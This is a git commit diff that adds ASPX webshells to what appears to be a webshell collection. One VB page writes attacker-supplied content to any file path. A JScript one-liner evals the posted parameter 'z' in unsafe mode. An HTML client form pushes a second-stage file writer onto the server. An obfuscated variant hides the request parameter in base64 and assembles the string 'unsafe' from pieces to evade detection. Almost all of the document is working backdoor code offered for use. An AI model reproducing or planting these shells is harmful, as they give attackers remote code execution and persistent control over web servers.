update webshell with expdoor-com

2025-12-06 04:41:28 +00:00 · 2014-03-12 09:45:11 +08:00
parent f56a2e26ef
commit a2c8423d1e
17 changed files with 330 additions and 0 deletions
--- a/aspx/Aspx一句话木马小集.aspx
+++ b/aspx/Aspx一句话木马小集.aspx
@@ -0,0 +1,34 @@
+1k 的
+
+<%@ Page Language="VB" %>
+<%@ import Namespace="System.IO" %>
+<script runat="server">
+Sub Page_load(sender As Object, E As EventArgs) 
+dim mywrite as new streamwriter(request.form("path"), true, encoding.default) mywrite.write(request.form("content")) 
+mywrite.close 
+response.write("Done!")
+End Sub
+</script>
+
+---------------------------
+.net的一句话
+
+<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
+
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+<TITLE> ASPX one line Code Client by amxku</TITLE>
+</HEAD>
+<BODY>
+<form action=http://127.0.0.1/test.aspx method=post>
+<textarea name=z cols=120 rows=10 width=45>
+var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
+nonamed.Write(Request.Item["l"]);
+nonamed.Close();
+</textarea>
+<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
+<input type=submit value=提交>
+</BODY>
+</HTML>
--- a/aspx/aspx变形一句话.aspx
+++ b/aspx/aspx变形一句话.aspx
@@ -0,0 +1,17 @@
+<script runat="server" language="JScript">
+function popup(str) {
+var q = "u";
+var w = "afe";
+var a = q + "ns" + w;
+var b= eval(str,a);
+return(b);
+}
+</script>
+<%
+popup(popup(System.Text.Encoding.GetEncoding(65001).
+
+GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
+
+%>
+
+password:z